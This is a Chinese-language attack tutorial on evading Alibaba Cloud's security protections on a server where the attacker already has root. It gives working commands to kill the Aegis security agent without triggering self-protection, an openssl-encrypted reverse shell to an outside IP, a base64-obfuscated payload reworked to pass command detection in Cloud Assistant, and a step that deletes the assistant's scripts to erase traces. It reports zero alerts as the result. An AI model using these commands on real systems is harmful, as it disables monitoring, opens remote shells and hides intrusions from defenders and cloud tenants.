ROOT权限下bypass阿里云防护
ROOT权限下bypass阿里云防护
在目前(测试时间2021-08-06),使用这种办法,阿里云不会有告警,但是在云安全中心的资产中心里,会看到服务器未受保护,但是这个东西一般也没人去看,因为在总览里是显示安全的,是否要使用自己权衡。
 
经过研究,阿里云防护会从不同的层面进行监测,目前发现有:
  • Agent:部署在系统内的,也就是阿里云盾,负责监测和阻断
  • 流量:阿里云会分析经过目标的流量,如果有敏感流量会进行告警
  • 命令:使用阿里云助手执行命令的时候,如果有敏感命令也会进行告警
 

0x1 干掉阿里云盾

在root权限下运行以下命令:
systemctl stop aegis.service
ps -ef |grep aegis|awk '{print $2}'|xargs kill -s HUP
注意:一定不要使用kill -9!如果目标开启了自保护,会进行拦截,并告警!!!
notion image
在目前使用kill -s HUP是可以绕过拦截并成功kill掉的。
 
干掉阿里云盾只是绕过了Agent防护,在目标上面执行高危操作不会拦截什么东西了,但由于还有流量检测和命令检测,还是有可能告警。
 

0x2 绕过流量检测

反弹shell为例,在干掉阿里云盾之后,执行普通的反弹shell,虽然反弹成功了(不干掉阿里云盾直接拦截),但还是会告警。
notion image
可以看到阿里云直接报了异常流量。
 
绕过流量检测的方法:可以看到告警里面,因为流量中出现了no job control in this shell,这是很明显的反弹shell特征,TCP明文的直接抓到了,所以使用openssl反弹 这种方式可以加密流量。
#接收端

#生成公钥私钥
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
#监听81端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 81
 
#反弹端

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 1.1.1.1:81 > /tmp/s; rm /tmp/s
 

0x3 绕过命令检测

反弹shell为例,在干掉阿里云盾之后,执行的opensll反弹shell,反弹成功,依然告警。
notion image
因为我是用AKSK调用阿里云助手直接执行的反弹shell命令,而常用的反弹命令都被标记为异常了,不过进行编码一下就可以绕过了,这里我使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行bash编码。
notion image
编码出来的结果可以绕过异常命令检测了,但是
notion image
执行直接出错了,追了一下原因,是因为阿里云助手执行命令是先将命令放到一个sh脚本中,然后用sh解析器去执行sh脚本,但是sh解析器不识bash的某些语法...
 
所以编码出来的命令还需要加工一下
#原始
bash -c {echo,bWtmaWZvIC90bXAvczsgL2Jpbi9zaCAtaSA8IC90bXAvcyAyPiYxIHwgb3BlbnNzbCBzX2NsaWVudCAtcXVpZXQgLWNvbm5lY3QgMS4xLjEuMTo4MSA+IC90bXAvczsgcm0gL3RtcC9z}|{base64,-d}|{bash,-i}
 
#加工后
bash -c {echo,bWtmaWZvIC90bXAvczsgL2Jpbi9zaCAtaSA8IC90bXAvcyAyPiYxIHwgb3BlbnNzbCBzX2NsaWVudCAtcXVpZXQgLWNvbm5lY3QgMS4xLjEuMTo4MSA+IC90bXAvczsgcm0gL3RtcC9z}|bash -c {base64,-d}|bash -c {bash,-i}
 
可以看到多了两个bash -c,因为既然报错显示不识别{base64,-d}{bash,-i},那就让这两个命令通过bash来解释运行,所以就没问题了。
 

0x4 最终测试

使用阿里云助手执行以下命令:
#关掉阿里云盾服务
systemctl stop aegis.service
#强行kill阿里云盾相关进程
ps -ef |grep aegis|awk '{print $2}'|xargs kill -s HUP
#执行编码加工后的openssl反弹命令
bash -c {echo,bWtmaWZvIC90bXAvczsgL2Jpbi9zaCAtaSA8IC90bXAvcyAyPiYxIHwgb3BlbnNzbCBzX2NsaWVudCAtcXVpZXQgLWNvbm5lY3QgMS4xLjEuMTo4MSA+IC90bXAvczsgcm0gL3RtcC9z}|bash -c {base64,-d}|bash -c {bash,-i}
#删除阿里云助手落地的命令脚本,清除痕迹
rm -rf /usr/local/share/aliyun-assist/work/script/
在云助手端执行
notion image
接收端
notion image
 
可以看到成功反弹回来,然后看看有没有什么告警
notion image
0条待处理告警。
 
唯一的破绽就是会显示未受保护的服务器
notion image
如果再研究一下,伪造阿里云盾向阿里云发送心跳包就完美了。